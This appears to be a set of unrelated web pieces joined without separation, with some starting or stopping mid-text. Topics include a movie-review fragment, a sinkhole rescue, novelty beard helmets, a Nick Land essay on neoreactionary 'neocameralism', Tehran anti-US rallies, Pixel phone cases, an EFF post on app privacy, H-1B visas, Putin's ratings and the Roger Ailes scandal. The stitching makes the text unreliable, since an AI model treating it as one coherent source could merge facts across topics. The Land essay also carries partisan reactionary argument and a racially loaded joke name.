No, but Arnold’s old commander does say that he is expecting World War 3. He seems to be looking forward to Armageddon, too.
What You Learned:
If I was al Queda, I would not fuck with California while Schwarzenegger is in charge. Also, if you watch the scene when Arnold is blowing up all the military barracks, you can actually see the support beams that are holding up the dummies. Oh, and I am definitely, severely, chronically gay.
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PinterestWoman collapses after sinkhole fall, sparking ambulance review
Posted
Ambulance Victoria is reviewing why a woman who plummeted three-metres into a sinkhole and later suffered a heart blockage was not taken to hospital.
The 45-year-old woman fell about three metres into a pool of water in a Springvale backyard as she hung out washing yesterday.
She was forced to tread water for about 20 minutes before emergency services workers rescued her.
Paramedics treated her at scene and, at the time, said she was not injured.
The woman's daughter, Rebecca Beaumont, told Fairfax Radio her mother collapsed hours after paramedics left and was later taken to hospital.
"She's got a complete heart blockage now and her heart has weakened from the whole situation," she said.
"This is caused by stress and the fact she was submerged for so long."
Ms Beaumont said she was concerned about how paramedics made the initial assesment of her mother.
"I do find it quite strange, as do the staff at the hospital and the second lot of paramedics that came to the house to take her, that she wasn't taken to hospital."
Ambulance Victoria Group Manager Andrew Watson said the paramedics response was being reviewed.
"It is standard procedure that we conduct a clinical review into a case if someone isn't taken to hospital, and paramedics are subsequently called back within 24 hours," he said.
"That review is being undertaken. Ambulance Victoria is willing to meet with the woman involved to discuss the findings when the review is completed."
Topics: disasters-and-accidents, health, springvale-3171Wanna look like a warrior dwarf? You already do. Jk jk, that was mean of me. I only said that because you're short and have a neck beard. But for those of you who weren't ladled out of the shallow end of the gene pool come these crocheted beard helmets from Etsy seller LegendaryCrafts. Each one will set you back between $75-$125 and is best accessorized with a battle axe or war hammer. "What about a lightsaber?" A lightsaber will do in a pinch. *gluing yarn to face* Prepare for battle! "Jesus bro -- you look like Raggedy Ann." Yeah? Well you look like a friendly-fire casualty. NOW, LEGOLAS!
Hit the jump for a couple closeups and a link to their Etsy product page.
LegendaryCraft's Etsy Page
via
Crocheted Viking and Dwarf Beard Helmets Keep You Warm, Won't Protect Your Head from a Warhammer [technabob]
Thanks to tony, who tried growing a real beard once but never got past that awkward, skeezy looking phase.[This post was retrieved from the InternetArchive website snapshot of That’s Magazine Shangai (now unfortunately offline). Uploading here for the preservation of a great piece.]
by Nick Land
To be a reactionary, minimally speaking, requires no more than a recognition that things are going to hell. As the source of decay is traced ever further back, and attributed to ever more deeply-rooted – and securely mainstream — sociopolitical assumptions, the reactionary attitude becomes increasingly extreme. If innovative elements are introduced into either the diagnosis or the proposed remedy, a neo-reactionary mentality is born.
As the United States, along with the world that it has built, careers into calamity, neo-reactionary extremism is embarrassingly close to becoming a vogue. If evidence is needed, consider the Vacate Movement, a rapidly growing dissident faction within the 0.0000001%. This is a development that would have been scarcely imaginable, were it not for the painstakingly crafted, yet rhetorically effervescent provocations of Mencius Moldbug.
From Moldbug, immoderate neo-reaction has learnt many essential and startling facts about the genealogy and tendency of history’s central affliction, newly baptized the Cathedral. It has been liberated from the mesmerism of ‘democratic universalism’ – or evangelical ultra-puritanism – and trained back towards honest (and thus forbidden) books. It has re-learnt class analysis, of unprecedented explanatory power. Much else could have been added, before arriving at our destination: the schematic outline for a ‘neocameral’ alternative to the manifestly perishing global political order. (On a trivial etiquette matter: Moldbug politely asks to be addressed as ‘Mencius’ — comparable requests by Plato Jiggabug and Siddhartha Moldbucket have been evaded too.)
Moldbug scrupulously distances his proposals from any hint of revolutionary agitation, or even the mildest varieties of civil disobedience. Neocameralism is not designed to antagonize, but rather to restore order to social bodies that have squandered it, by drafting a framework compatible with the long-lost art of effective government. (‘Long-lost’, that is, to the West – the Singapore example, among those of other city states and special economic zones, is never far removed.) Neocameralism would not overthrow anything, but rather arise amongst ruins. It is a solution awaiting the terminal configuration of a problem.
The neocameral program proceeds roughly as follows:
Phase-1: Constructively disciplined lamentation
Phase-2: Civilization collapses
Phase-3: Re-boot to a modernized form of absolute monarchy, in which citizens are comprehensively stripped of all historically-accumulated political rights
Despite its obvious attractions to partisans of liberty, this program is not without its dubious features, a few of which can be touched upon here whilst rehearsing the Moldbug case for Neocameral government in slightly greater detail. Stated succinctly and preliminarily, our reservations drift into focus when that guy on a white horse appears. Where exactly does he come from?
To answer ‘Carlyle’ would be easy, and not exactly inaccurate, but it would also miss the structural coherence of the issue. Moldbug refuses to call his neocameral dictator a ‘national CEO’ (which he is), preferring to describe him as a ‘monarch’ (which – as a non-dynastic executive appointee — he isn’t), for reasons both stylistic and substantial. Stylistically, royalism is a provocation, and a dramatization of reactionary allegiance. Substantially, it foregrounds the question of sovereignty.
Moldbug’s political philosophy is founded upon a revision to the conception of property, sufficient to support the assertion that sovereign power is properly understood as the owner of a country. It is only at this level of political organization that real property rights – i.e. protections – are sustained.
Property is any stable structure of monopoly control. You own something if you alone control it. Your control is stable if no one else will take it away from you. This control may be assured by your own powers of violence, or it may be delegated by a higher power. If the former, it is secondary property. If the latter, it is primary or sovereign property.
The sovereign power (sovereign corporation, or ‘sovcorp’), alone, is able to ensure its own property rights. Its might and rights are absolutely identical, and from this primary identity subordinate rights (to ‘secondary property’) cascade down through the social hierarchy. Neocameralism is nothing but the systematic, institutional recognition of this reality. (Whether it is, in fact, a ‘reality’ is a question we shall soon proceed to.)
Perhaps surprisingly, Moldbug’s conclusions can be presented in terms that recovering libertarians have found appealing:
Neocameralism is the idea that a sovereign state or primary corporation is not organizationally distinct from a secondary or private corporation. Thus we can achieve good management, and thus libertarian government, by converting sovcorps to the same management design that works well in today’s private sector – the joint-stock corporation.
One way to approach neocameralism is to see it as a refinement of royalism, an ancient system in which the sovcorp is a sort of family business. Under neocameralism, the biological quirks of royalism are eliminated and the State “goes public,” hiring the best executives regardless of their bloodline or even nationality.
Or you can just see neocameralism as part of the usual capitalist pattern in which services are optimized by aligning the interests of the service provider and the service consumer. If this works for groceries, why shouldn’t it work for government? I have a hard time in accepting the possibility that democratic constitutionalism would generate either lower prices or better produce at Safeway …
In order to take a step back from this vision, towards its foundations, it is useful to scrutinize its building blocks. When Moldbug defines property as “any stable structure of monopoly control” what is really meant by ‘control’? It might seem simple enough. To control something is to use, or make use of it — to put it to work, such that a desired outcome is in fact achieved. ‘Property’ would be glossed as exclusive right of use, or instrumental utilization, conceived with sufficient breadth to encompass consumption, and perhaps (we will come to this), donation or exchange.
Complications quickly arise. ‘Control’ in this case would involve technical competence, or the ability to make something work. If control requires that one can use something effectively, then it demands compliance with natural fact (through techno-scientific understanding and practical skills). Even consumption is a type of use. Is this historical variable – vastly distant from intuitive notions of sovereignty – actually suited to a definition of property?
It might be realistic to conceive property through control, and control through technical competence, but it would be hard to defend as an advance in formalism. Since this problem thoroughly infuses the topic of ‘might’, or operational sovereignty, it is also difficult to isolate, or parenthesize. Moldbug’s frequent, enthusiastic digressions into the practicalities of crypto-locked military apparatuses attest strongly to this. The impression begins to emerge that the very possibility of sovereign property is bound to an irreducibly fuzzy, historically dynamic, and empirically intricate investigation into the micro-mechanics of power, dissolving into an acid fog of Clauswitzean ‘friction’ (or ineliminable unpredictability).
More promising, by far – for the purposes of tractable argument — is a strictly formal or contractual usage of ‘control’ to designate the exclusive right to free disposal or commercial alienation. Defined this way, ownership is a legal category, co-original with the idea of contract, referring to those things which one has the right to trade (based on natural law). Property is essentially marketable. It cannot exist unless it can be alienated through negotiation. A prince who cannot trade away his territory does not ‘own’ it in any sense that matters.
Moldbug seems to acknowledge this, in at least three ways. Firstly, his formalization of sovereign power, through conversion into sovereign stock, commercializes it. Within the neocameral regime, power takes the form of revenue-yielding property, available for free disposal by those who wield it. That is the sole basis for the corporate analogy. If sovereign stock were not freely disposable, its ‘owners’ would be mere stewards, subject to obligations, non-alienable political responsibilities, or administrative duties that demonstrate with absolute clarity the subordination to a higher sovereignty. (That is, broadly speaking, the current situation, and inoffensively conventional political theory.)
Secondly, the neocameral state exists within a patchwork, or system of interactions, through which they compete for population, and in which peaceful (or commercial) redistributions — including takeovers and break-ups — are facilitated. Unless sovereign stock can be traded within the patchwork, it is not property at all. This in turn indicates that ‘internal’ positive legislation, as dictated by the domestic ‘sovereign’, is embedded within a far more expansive normative system, and the definition of ‘property’ cannot be exhausted by its local determination within the neocameral micro-polis. As Moldbug repeatedly notes, an introverted despotism that violated broader patchwork norms – such as those governing free exit — could be reliably expected to suffer a collapse of sovereign stock value (which implies that the substance of sovereign stock is systemically, rather than locally, determined). If the entire neocameral state is disciplined through the patchwork, how real can its local sovereignty be? This systemic disciplining or subversion of local sovereignty, it should be noted, is the sole attraction of the neocameral schema to supporters of dynamic geography (who want nothing more than for the national government to become the patchwork system’s bitch).
Thirdly (and relatedly), neocameralism is floated as a model for experimental government, driven cybernetically towards effectiveness by the same types of feedback mechanisms that control ‘secondary’ corporations. In particular, population traffic between neocameral states is conceived as a fundamental regulator, continuously measuring the functionality of government, and correcting it in the direction of attractiveness. The incentive structure of the neocameral regime – and thus its claim to practical rationality — rests entirely upon this. Once again, however, it is evidently the radical limitation of local sovereignty, rather than its unconstrained expression, which promises to make such governments work. Free exit – to take the single most important instance — is a rule imposed at a higher level than the national sovereign, operating as a natural law of the entire patchwork. Without free exit, a neocameral state is no more than a parochial despotism. The absolute sovereign of the state must choose to comply with a rule he did not legislate … something is coming unstuck here (it’s time to send that white horse to the biodiesel tanks).
Neocameralism necessarily commercializes sovereignty, and in doing so it accommodates power to natural law. Sovereign stock (‘primary property’) and ‘secondary property’ become commercially inter-changeable, dissolving the original distinction, whilst local sovereignty is rendered compliant with the wider commercial order, and thus becomes a form of constrained ‘secondary sovereignty’ relative to the primary or absolute sovereignty of the system itself. Final authority bleeds out into the catallactic ensemble, the agora, or commercium, where what can really happen is decided by natural law. It is this to which sovereign stockholders, if they are to be effective, and to prosper, must defer.
The fundamental point, and the reason why the pretender on the white horse is so misleading, is that sovereignty cannot, in principle, inhere in a particular social agent – whether individual, or group. This is best demonstrated in reference to the concept of natural law (which James Donald outlines with unsurpassed brilliance). When properly understood, or articulated, natural law cannot possibly be violated. Putting your hand into a fire, and being burnt, does not defy the natural law that temperatures beyond a certain range cause tissue damage and pain. Similarly, suppressing private property, and producing economic cataclysm, does not defy the natural law that human economic behavior is sensitive to incentives.
Positive law, as created by legislators, takes the form: do (or don’t do) this. Violations will be punished.
Natural law, as discovered by any rational being, takes the form: do what thou wilt and accept the consequences. Rewards and punishments are intrinsic to it. It cannot be defied, but only misunderstood. It is therefore absolutely sovereign (Deus sive Natura). Like any other being, governments, however powerful, can only comply with it, either through intelligent adaptation and flourishing, or through ignorance, incompetence, degeneration, and death. To God-or-Nature it matters not at all. Natural law is indistinguishable from the true sovereign power which really decides what can work, and what doesn’t, which can then – ‘secondarily’ — be learnt by rational beings, or not.
Moldbug knows this – really. He demonstrates it – to take just one highly informative example — through his insistence that a neocameral state would tend to tax at the Laffer optimum. That is to say, such a state would prove its effectiveness by maximizing the return on sovereign property in compliance with reality. It does not legislate the Laffer curve, or choose for it to exist, but instead recognizes that it has been discovered, and with it an aspect of natural law. Anything less, or other, would be inconsistent with its legitimacy as a competent protector of property. To survive, prosper, and even pretend to sovereignty, it can do nothing else. Its power is delegated by commercium.
It is surely no coincidence that Cnut the Great has been described by Norman Cantor as “the most effective king in Anglo-Saxon history.” As Wikipedia relates his story:
His accession to the Danish throne in 1018 brought the crowns of England and Denmark together. Cnut held this power-base together by uniting Danes and Englishmen under cultural bonds of wealth and custom, rather than sheer brutality.
Most importantly:
Henry of Huntingdon, the 12th-century chronicler, tells how Cnut set his throne by the sea shore and commanded the tide to halt and not wet his feet and robes. Yet “continuing to rise as usual [the tide] dashed over his feet and legs without respect to his royal person. Then the king leapt backwards, saying: ‘Let all men know how empty and worthless is the power of kings, for there is none worthy of the name, but He whom heaven, earth, and sea obey by eternal laws.’CLOSE Chanting "Death to America" and burning the US flag, thousands of Iranians join protests marking the 36th anniversary of the seizure of Washington's embassy, with many gathered right outside the former US embassy in Tehran. Video provided by AFP Newslook
Protester burn a mock American flag during a demonstration marking the 36th anniversary of U.S. Embassy seizure in Tehran, Iran, on Nov. 4, 2015. (Photo11: EPA)
Thousands of demonstrators in Tehran burned flags and chanted anti-U.S. slogans Wednesday to mark the anniversary of the U.S. Embassy seizure in 1979.
Iranians staged massive rallies nationwide to commemorate 36 years since the takeover, the Islamic Republic News Agency reported.
"We consider the U.S. a Great Satan and we believe that fighting the arrogant powers is logical," the demonstrators said in a statement.
Aban 13, the Iranian calendar equivalent of Nov. 4, is a national holiday marking the takeover of what the Iranian government calls the "Den of Espionage."
Thousands of students and others marched from the University of Tehran to the premises of the former embassy in Taleqani Street in Tehran, IRNA reported.
The rallies came a day after Ayatollah Seyed Ali Khamenei claimed the U.S. still wants to oust the Iranian government, despite a recent nuclear deal between the two nations and other world powers.
"The reality is that the U.S. objectives vis-a-vis the Islamic Republic of Iran have not changed at all and if they can, they will not hesitate a moment to annihilate the Islamic Republic," Khamenei said Tuesday in Tehran. Khamenei, however, also explained that "death to America" chants and slogans are not literally calling for death to the American people.
“It goes without saying that the slogan does not mean death to the American nation — this slogan means death to the U.S. policies, death to arrogance,” he said.
Iran's FARS News Agency said the protesters Wednesday also chanted support for Khamenei.
"Iranian people from all walks of life, including school and university students, took to the streets to mark the anniversary of the U.S. embassy takeover in 1979 and commemorate the National Day of Campaign against Global Arrogance and the National Student Day in massive rallies," FARS reported.
In 1979, the embassy was overrun less than a year after an Islamic coup toppled the Shah of Iran. A protest demanding the return of the shah to face charges turned violent, with protesters spilling into the embassy and taking 52 Americans hostage.
An attempt to rescue the hostages in April 1980 turned into tragedy when two helicopters crashed, killing eight U.S. servicemembers and one Iranian civilian. The 444-day hostage crisis ended with their release on Jan. 20, 1981, the day Ronald Reagan was sworn into office for his first presidential term.
Read or Share this story: http://usat.ly/1NrkBHqA video showing a Chinese-developed ‘automated semen collector’ has surfaced on YouTube.
This machine was actually on display at a recent medical supply expo in China, and was developed for use in hospitals as an efficient way to collect sperm samples. Currently the most common method used to collect semen is via masturbation into a cup.
The patient stands before the machine and puts his penis, flaccid or erect, into the tube-shaped protrusion, whereupon it moves forward and back automatically like a piston. The inside of the tube is lined with a soft silicon material that provides gentle stimulation until ejaculation is reached.
For patients who have trouble getting erect, or feel uneasy with the traditional erotic magazine and plastic cup method of semen collection, this new medical breakthrough may provide some welcome relief.
Translation: Steven
[ Read in Japanese ]Google Pixel is coming with may exiting features such as the advance Android Nougat operating system, powerful battery, strong processor and exceptional camera. People are keenly waiting for the phone and want to experience its outstanding functionality as soon as possible.
However, its a fact that all delicate devices are hard to handle, especially when they are portable such as mobiles and tablets. We keep our smartphones with us all the time, so there is always a chance of drops and falls that leave the phone with unwanted scratches and spoil their look as well as the user’s mood.
It is advisable to buy a suitable case with the phone to ensure its protection. We even came up with an article listing best Google Pixel XL cases and covers that you should check out if you are planning to buy Google Pixel XL.
Here in this article we have listed the best cases for Google Pixel, let’s have a look at all these best Google Pixel cases and tell us which one you like the most.
The official Google Pixel case has a silicone exterior and polycarbonate core that is shock absorbent and provides good grip to protect your phone from scratches and bumps. The case is available in five different colour options to suit everyone’s personality. There are well placed cutouts that allow users to access all ports and features without removing the cover.
You Might Also Like: 14 Best Google Pixel XL Cases and Covers
Google has presented three unique Live cases for the users of Google Pixel and the first one allows you to customize the case with the vast collection of craftwork which is designed by the popular global artists, illustrators, photographers and developers. These cases come with a companion wallpaper that features all the available designs and lets users to match the case with their screen.
Alike the above mentioned case, Google allows users to customize live case with their own pictures. You can simply take a print of any favourite image and add it into your Google Pixel case. The Google Pixel Live cases offer a custom wallpaper that turns the screen into a slideshow of your pictures. You will also find a programmable short-button on the case for special photos.
Google has come up with the Place cases for Google Pixel that allows users to take a picture of their favourite spot from the Google Map, decorate it with the colours or style of their choice and print them on the case. These cases are also made of durable polycarbonate and provides good protection but may not save your phone effectively in the case of sudden drop.
These cases are available for Google Pixel as well as Google Pixel XL. The three layered color Google Pixel cases provide three layer protection of the soft silicone on the exterior along with hard plastic code and include soft microfiber in the interior to keep the phone undamaged for a long time. The cases are coming soon and will be shipped in multiple colour options.
A super stylish Google Pixel case from Cimo which is lightweight and made from durable polycarbonate material. The Cimo slim case has raised bezels which will prevent your Google Pixel phone screen if it is fallen from a height. It also features cutouts for full access of smart buttons and other important things.
How about getting 2 pieces of Google Pixel cases in one price and that too only $5.99? Spain made a Google Pixel case of soft TPU material which is environmentally friendly, only 1.5mm thickness and transparent to reveal the Google pixel color. Flexible enough that comes with tough protection and don’t add any bulk to your phone.
Looking for something stylish for your Google Pixel phone? Well, you are at the right place, check out one of the best stylish Google Pixel case from Incipio from their Carnaby Esquire series that is inspired by Google Daydream VR. It is made of sturdy hard shell and shock absorbing polymer material to protect your phone from accidental damages. Not only that, there is soft cotton finish that doesn’t slip out of your hands and add sophistication to your case.
A modern design Google Pixel case from DGtle which is made of lightweight and flexible TPU material that looks slim, stylish and comes with all the cutouts to allow access to camera, speakers, headphone jack and other buttons. DGtle anti-scratch Google Pixel case is shock absorbing and comes in various colors to style up your Google Pixel phone.
This Google Pixel case from Incipio DualPro protect your phone from inside as well as inside. The inner shell is made from soft silicone while the outer shell is of Plextonium material that gives military grade drop protection. Even having military grade drop protection, the case has soft touch which feels nice in your hand.
One of the best clear case for Google Pixel is coming from Speck Products that has ultra-slim design and adds beauty to the phone. Presidio Clear Google Pixel case is made of hard exterior layer that saves your phone from scratching and the interior layer absorbs the shock if it drops ever. Not only that, it is tested by dropping from 8 feet multiple times so you can expect a good protection of your Google Pixel XL Case.
Another Google Pixel case from Incipio that is providing protection of your phone from accidental falls or bumps. The case is made of Plextonium polycarbonate back shell and bumber is from Flex2O TPU tempered material for overall protection of your Google Pixel XL. The case comes in 4 colors and gives a premium look to your phone.
If these best Google Pixel cases allow you to show your creativity or showcase the beauty of the phone along with the safety then its like a win-win situation of every user. Hopefully the list of these awesome Google Pixel cases we have provided will help you to find out the best case for your phone. Feel free to share your experience with the above mentioned Google Pixel cases and also do not hesitate to give your valuable feedback.When we tried out a prototype of Tobii's eye controller this time last year, it made us believe in technology again. Unlike many prototypes, though, it's now a real thing.
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Tobii has announced the launch of REX: a USB-connected device that allows computers to be controlled using Gaze UI. That software lets users navigate, zoom, select and scroll using their eyes alone—and it worked a dream with Windows 8.
The device itself is little larger than a pen, and sits at the bottom of a PC screen—as pictured below—in order to track eye movements. It works with any computer running Windows 8. The good news is that Tobii plans to be shipping the thing to consumers this year; the bad news is that it expects the first production run to provide just 5,000 units. So, if you want one, you'll have to act quickly when they're released.
Or, if you feel so inclined, you could get your hands on the special developers edition, baked into a laptop (above) and available from today, to test out the device and its capabilities. But that'll set you back $1,000. Currently there's no word on pricing for the consumer edition. [Engadget]Bounce Up Pact, Pore Putty: New and trending here!
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achieve them.
When can you Start Exercising
Once you get your doctor’s clearance, talk to your trainer about when to commence the sessions. Your trainer will go through your medical reports and evaluate your present condition and help you set a safe and achievable goal.
How Long will it Take to Regain your Former Body
The truth is that it is extremely rare for a woman to completely regain her post-pregnancy body with firm muscles and taunt abdomen. Exercise can certainly improve your looks and help you tuck that jelly belly but it is difficult to achieve that taut look especially when the abdominal region tends to sag.
Usually, it should take you around nine months to one year to tone your body and regain your former looks somewhat. However, this again will depend on how regularly and intensely you can exercise and how much flab you want to shed.
To check the amazing results of some new mums who did their post child birth exercise program, click here http://bootcampbalmain.com.au/personaltrainerrozelle/
How should your Plan your Meals
Proper nutrition is vitally important for you both during and after pregnancy. Unhealthy eating at this stage will just pile on the fat further whereas improper food will affect your healing process and also the quantity of breast milk you are able to produce. Your personal trainer inLylifieldwill give you a diet plan to follow that will contain all food groups necessary to improve your stamina and immunity. He will also advise you on what to avoid and how to control your indulgences.Today the California Attorney General released "Privacy on the Go," [pdf] a report of privacy recommendations for players in the smartphone ecosystem focused on mobile app developers. These guidelines continue a push from the Attorney General to extend privacy protections from the online world onto the smaller screens of our mobile devices, kicked off by an agreement last year to incorporate app privacy policies into the six largest mobile "app stores."
EFF applauds this important step forward, and congratulates the California Attorney General on a thorough and clearly written explanation of the importance of mobile privacy and how developers can deliver. It's true that as technology changes, the specific needs and guidelines for companies will need to adapt. We could well see a time when these principles do not adequately protect the rights and needs of consumers. However, right now these principles represent a huge step forward — going beyond existing law in a way that improves transparency, accountability, and choice for users of mobile devices.
From the report:
With their expanding functionality, mobile devices are subject to the privacy risks of the online world and to some that are unique to the mobile sphere. Their small screen size makes communicating privacy practices and choices to consumers especially challenging. Consumers care about mobile privacy: a recent survey found that over half of Americans had uninstalled or decided not to install an app because of concerns about its privacy practices.
This report provides recommendations that go above and beyond the California Online Privacy Protection Act (OPPA). In that sense, application developers that follow these guidelines will be providing more privacy protection to their users than those required by existing law. As the report lays out, there's a good market reason to go that extra mile: users are increasingly concerned about their privacy when installing mobile apps, which has allowed different developers to compete on privacy protections.
The recommendations advocate the sensible "surprise minimization framework," collecting only the data users would expect an application to need and providing special notices whenever it goes beyond those limits.
It's encouraging to see more support for the principles we put forth last year in our Mobile User Privacy Bill of Rights. "Privacy on the Go" acknowledges that the mobile app industry is still in the early stages of development, so privacy practices may not be as well established as in more mature fields. Still, these recommendations are well worth reading, and promise to push the field forward if taken to heart.
UPDATE: Representatives from the ad industry have responded with this letter to the Attorney General's office. They express concerns that these guidelines do not reflect "broad industry consensus" and are "unworkable." These claims are especially cynical given that the ad industry is pushing standards it has developed without consulting other stakeholders. For the reasons outlined above, we disagree.The cartoon members of Gorillaz aren’t actually gorillas, but it seems like they might soon have something in common with The Monkees. Apparently, band co-creator Jamie Hewlett has been working on a 10-episode TV show about the group, and though we don’t know much beyond that, we do know that Hewlett and fellow Gorillaz mastermind Damon Albarn have been dramatically ramping up the band’s mythology in anticipation of the new album Humanz. This information comes from an interview with Q Magazine (via Fact Magazine), during which Hewlett also teases that he’s working on “new artwork, tour merchandise, a clothing line, and visuals” to go with the band’s resurgence.
Elsewhere in the chat, Albarn reveals that Sade, Morrissey, and Dionne Warwick turned down offers to collaborate on Humanz, and he says the album itself is sort of about Donald Trump—though it’s more about “a world in which he could get elected” than a direct political statement.
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You can check out Q Magazine for more information about this TV project and other background details about Humanz.Textbook Arbitrage: Making Money Off Used Books
On the most recent episode of our show, we told you the story of two guys who think they've found a guaranteed way to buy low and sell high. Their secret strategy — buying and selling used textbooks.
Bob Peterson told us he got the idea after he watched a used economics textbook nearly double in price between the day he posted it for sale online, and the day he shipped it out to the buyer. Bob saw this happening with other books, and he guessed that the prices of the textbooks were going up and down with the college calendar. His theory was that prices would fall in summer (no one is looking for a nice textbook in July to curl up with on the beach) but then rise when classes begin and students really need the books.
If he was right and this was happening reliably with lots of books, Bob figured he could make money. So he enlisted his brother-in-law, Kenny Jacobson, a computer programmer, to help him sift through the data.
Over a year Bob and Kenny gathered data from Amazon on sales of all kinds of used textbooks, and they found the pattern was there for lots of textbooks — prices fell in the summer and jumped back up as classes started at the beginning of a semester. It was as if they'd found a stock that went up and down at very regular times, so that they could know exactly when to buy it, and exactly when to sell it.
For every dollar Bob and Kenny put in, they say they've gotten $2 back. They doubled their money in a semester.H-1B visas, capped at 65,000 per year, are in huge demand from outsourcers
IT stocks witnessed sharp selloff on Friday, when domestic markets opened for normal trading after a two-day break. Tata Consultancy Services, India's biggest outsourcer, fell 3 per cent in a market that closed 1 per cent down. Other frontline IT stocks such as HCL Tech, Wipro and Infosys also ended lower.
The selloff in IT stocks is being linked to the recently introduced Grassley-Durbin bill (named after US senators) that seeks to "reform and reduce fraud and abuse" in certain short term visa programmes.
Temporary, non-immigration visas - such as H-1B- have run into controversy amid allegations that they are being misused to displace Americans with cheap foreign workers. The new bill, introduced on November 10, seeks to prohibit companies that employ over 50 per cent of workers on H-1B and L-1 visas from hiring through this route. (Read)
It would also give US Department of Labour enhanced authority to review, investigate and audit employer compliance as well as to penalise fraudulent or abusive conduct.
Traders say the bill is a setback to domestic outsourcers, who have been key beneficiaries of the H-1B visa programme. In 2014, 70 per cent of H-1B visas went to workers from India; TCS topped the list with 5,650 H-1B visas, while Infosys (3,454) and Wipro (3,048) also got large number of H-1B visas, according to The New York Times.
H-1B visas are capped at 65,000 per year (20,000 additional visas are for students), so domestic outsourcers compete with global giants to bring "qualified" workers in the US, which is the biggest market for Indian IT companies.
But the visa issue is unlikely to emerge as a long-term overhang for IT stocks because it tends to come under scrutiny ahead of every election in the US, analysts said.
"Fall in technology stocks on H-1B visa issues has traditionally always been a buying opportunity," tweeted fund manager Sandip Sabharwal.
Fall in Technology stocks on H1B visa issues has traditionally always been a buying opportunity. — sandip sabharwal (@sandipsabharwal) November 13, 2015
The bigger worry for tech stocks could be heavy selling by foreign institutional investors in domestic stock markets. FIIs have large holding in IT stocks; they held 12.69 per cent in TCS and nearly 40 per cent in Infosys as of September 30, 2015.FIIs have turned net sellers in anticipation of a potential US interest rate hike next month. In November, foreign institutional investors have been net sellers of Indian equities for around Rs 3,700 crore so far. On Friday, TCS closed 3 per cent lower at Rs 2,397.30, while HCL Tech ended 1.9 per cent lower at Rs 836. Wipro fell 1 per cent to 551.50, while Infosys declined 0.8 per cent to close at 1,100.45.After reaching an all-time high in August President Putin’s approval rating has fallen in September according to the latest research. The Kremlin says it is a natural fluctuation.
According to the influential independent pollster Levada, 49 percent of Russians said they were ready to vote for Putin should a presidential election be held next weekend. In August he was polling 57 percent – the highest in history. Regardless of the share of supporter in society Putin has topped the presidential ratings since his election as president in 2012.
Vladimir Putin’s press secretary and deputy head of the Presidential Administration, Dmitry Peskov, told reporters that changes in public mood were a normal thing.
“Ratings are not some sort of a constant, but a figure that is subject to fluctuations. Putin’s rating achieved considerable heights and it is now fluctuating on this level,” the TASS news agency quoted Peskov as saying. He added that ratings were not topping the list of Putin’s interests or the everyday agenda of his administration.
Deputy Director of the Levada pollster, Aleksey Grazhdankin, told reporters that the current dive was normal. He said a fall in two polls in a row could be reason to worry, but in late October, when the research was released, it was too early to suggest this.
The Levada Center looked at Russians’ opinion of President Putin’s performance as leader. The study released in mid-October showed the average mark given to Putin by citizens was 7.33 out of 10. This figure has been higher only once before – a mark of 7.49 reached in January 2008 at the very end of Putin’s first two terms as president.
Seventeen percent of all respondents think Putin deserved the top mark – 10 out of 10 – for his work.
In the same research, the overwhelming majority of respondents denied that the president’s popularity was turning into a personality cult. Only 19 percent said they had noticed features resembling a cult, compared to 27 percent a year ago.Another Ailes Spectacular—Second Amendment saga—erstwhile AP power-duo reunites
THE DAILY AILES -- The Roger Ailes scandal is ballooning into something much bigger than the initial sexual harassment allegations that ignited the controversy a little over a month ago. And those were big enough: In a little more than two weeks, they drove the longtime Fox News chief out of the cable news channel he spent 20 years molding into a media powerhouse for the right and a cash cow for parent company 21st Century Fox, which is controlled by Rupert Murdoch and his sons.
In the past few days alone, there have been reports of surveillance campaigns against journalists covering Ailes (http://nym.ag/2aDOHsD); Fox News employees who “believe our phones are tapped and that we are monitored” (http://cnnmon.ie/2aXbX4b); and incredulity that top brass at the publicly-traded 21st Century Fox were not until recently aware, as the company has said, of a $3.15 million exit package paid in 2011 to a former Fox News booker who claims Ailes manipulated and sexually harassed her for 20 years (http://on.ft.com/2aNm3Hr).
Story Continued Below
The question now being tossed around in the private conversations, Twitter exchanges, Gchats and Slack windows of the media-obsessed: How much more dirt is going to come out, and will this sordid affair eventually make the leap from scandalous to criminal? There’s been no smoking gun just yet, but there are specters. The whole thing’s beginning to feel a little Summer 2011, when the U.K. phone-hacking scandal that upended Murdoch’s other conglomerate, News Corp., was starting to catch fire. Here’s the latest that’s come across Morning Media’s desk...
Dark arts: Ailes’ black ops tactics against New York magazine reporter and Ailes biographer Gabe Sherman were apparently more menacing than just online smears and negative Google ads. A source close to high-level Fox News executives told Morning Media that during a private conversation with Ailes at an event in the period when Sherman was reporting his 2014 book, “The Loudest Voice in the Room,” Ailes said to this source, “I know where he lives, and I'm gonna send people to beat the shit out of him.” (A second source within the Fox News orbit confirmed hearing the same account and a third said Ailes has said some version of this before.)
The first source also relayed a separate conversation (not with Ailes) in which the source was told, "If it ever came out," meaning the lengths Ailes went to in his campaign against Sherman, "multiple people at Fox would go to jail." There’s suspicion, sources said, that phone records were obtained illegally. At one point, Sherman and his wife explored the possibility of having their apartment swept for bugs, according to a source familiar with the matter. Ailes’ attorney, Susan Estrich, did not respond to requests for comment. Sherman declined to comment.
Sources also said that Peter J. Boyer, erstwhile New Yorker staff writer turned Fox News editor-at-large who was let go from the network two weeks ago (under circumstances reportedly unrelated to the Ailes matter) is finalizing an exit package. Boyer was present for a series of “war room” meetings in which Ailes and several consiglieres orchestrated a plan of attack against Sherman -- in other words, Boyer is said to know where bodies are buried. A source familiar with the matter said there’s “no doubt” Boyer has information that could be damaging to Ailes, but that he won’t be getting anything more than a “typical” severance package. Boyer didn’t return an email and a woman who answered the phone at his residence took a message. Fox News declined to comment.
Hush money: A media executive and Morning Media reader got in touch regarding Monday’s Financial Times article (http://on.ft.com/2aKiWlL) about the $3.15 million severance payment made to Laurie Luhn in 2011. The gist: “Corporate governance experts have questioned how Roger Ailes was able to use Fox News funds to buy the silence of a woman who complained about him, without it coming to the attention of Rupert Murdoch’s 21st Century Fox, owner of the news network.”
Our tipster points out, “The parent company said they didn’t know about the settlement. That means the auditors didn’t know. Willful manipulation of financial documents [within] a publicly audited company is a crime. It’s a violation of securities law pretty clearly.” Translation: Will this shady payment, which Ailes reportedly directed in his former role as Fox News CEO, come back to haunt 21st Century Fox?
Reached for comment, a 21st Century Fox spokesman reiterated a statement given to the FT: “The fact is we have a robust compliance structure and strong controls embedded across our company. Within hours of the first public complaint raising an issue at Fox News, we commenced an investigation, and less than two weeks after that investigation began, the Chairman and CEO of Fox News departed.”
